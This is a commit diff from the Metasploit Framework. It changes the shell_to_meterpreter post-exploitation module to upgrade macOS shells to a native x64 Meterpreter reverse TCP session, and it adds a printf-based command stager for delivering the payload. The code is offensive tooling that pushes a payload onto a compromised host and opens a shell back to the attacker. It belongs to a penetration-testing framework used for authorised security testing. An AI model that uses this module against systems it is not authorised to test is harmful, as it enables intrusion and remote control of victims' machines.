Skip to content

Commit 2e568aa

Browse files
committed
Land rapid7#9607, upgrade osx shells to osx meterpreter
2 parents 7663e5c + 4365bd3 commit 2e568aa

File tree

2 files changed

+17
-11
lines changed

2 files changed

+17
-11
lines changed

Gemfile.lock

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -264,7 +264,7 @@ GEM
264264
metasm
265265
rex-arch
266266
rex-text
267-
rex-exploitation (0.1.16)
267+
rex-exploitation (0.1.17)
268268
jsobfu
269269
metasm
270270
rex-arch

modules/post/multi/manage/shell_to_meterpreter.rb

Lines changed: 16 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -81,8 +81,10 @@ def run
8181
psh_arch = 'x86'
8282
vprint_status("Platform: Windows")
8383
when 'osx'
84-
platform = 'python'
85-
payload_name = 'python/meterpreter/reverse_tcp'
84+
platform = 'osx'
85+
payload_name = 'osx/x64/meterpreter/reverse_tcp'
86+
lplat = [Msf::Platform::OSX]
87+
larch = [ARCH_X64]
8688
vprint_status("Platform: OS X")
8789
when 'solaris'
8890
platform = 'python'
@@ -99,8 +101,10 @@ def run
99101
larch = [ARCH_X86]
100102
vprint_status("Platform: Linux")
101103
elsif target_info =~ /darwin/i
102-
platform = 'python'
103-
payload_name = 'python/meterpreter/reverse_tcp'
104+
platform = 'osx'
105+
payload_name = 'osx/x64/meterpreter/reverse_tcp'
106+
lplat = [Msf::Platform::OSX]
107+
larch = [ARCH_X64]
104108
vprint_status("Platform: OS X")
105109
elsif cmd_exec('python -V 2>&1') =~ /Python (2|3)\.(\d)/
106110
# Generic fallback for OSX, Solaris, Linux/ARM
@@ -162,7 +166,7 @@ def run
162166
print_error('Powershell is not installed on the target.') if datastore['WIN_TRANSFER'] == 'POWERSHELL'
163167
vprint_status("Transfer method: VBS [fallback]")
164168
exe = Msf::Util::EXE.to_executable(framework, larch, lplat, payload_data)
165-
aborted = transmit_payload(exe)
169+
aborted = transmit_payload(exe, platform)
166170
end
167171
end
168172
when 'python'
@@ -171,7 +175,7 @@ def run
171175
else
172176
vprint_status("Transfer method: Bourne shell [fallback]")
173177
exe = Msf::Util::EXE.to_executable(framework, larch, lplat, payload_data)
174-
aborted = transmit_payload(exe)
178+
aborted = transmit_payload(exe, platform)
175179
end
176180

177181
if datastore['HANDLER']
@@ -181,7 +185,7 @@ def run
181185
return nil
182186
end
183187

184-
def transmit_payload(exe)
188+
def transmit_payload(exe, platform)
185189
#
186190
# Generate the stager command array
187191
#
@@ -193,16 +197,18 @@ def transmit_payload(exe)
193197
:linemax => linemax,
194198
#:nodelete => true # keep temp files (for debugging)
195199
}
196-
if session.platform == 'windows'
200+
case platform
201+
when 'windows'
197202
opts[:decoder] = File.join(Rex::Exploitation::DATA_DIR, "exploits", "cmdstager", 'vbs_b64')
198203
cmdstager = Rex::Exploitation::CmdStagerVBS.new(exe)
204+
when 'osx'
205+
opts[:background] = true
206+
cmdstager = Rex::Exploitation::CmdStagerPrintf.new(exe)
199207
else
200208
opts[:background] = true
201209
opts[:temp] = datastore['BOURNE_PATH']
202210
opts[:file] = datastore['BOURNE_FILE']
203211
cmdstager = Rex::Exploitation::CmdStagerBourne.new(exe)
204-
# Note: if a OS X binary payload is added in the future, use CmdStagerPrintf
205-
# as /bin/sh on OS X doesn't support the -n option on echo
206212
end
207213

208214
cmds = cmdstager.generate(opts)

0 commit comments

Comments
 (0)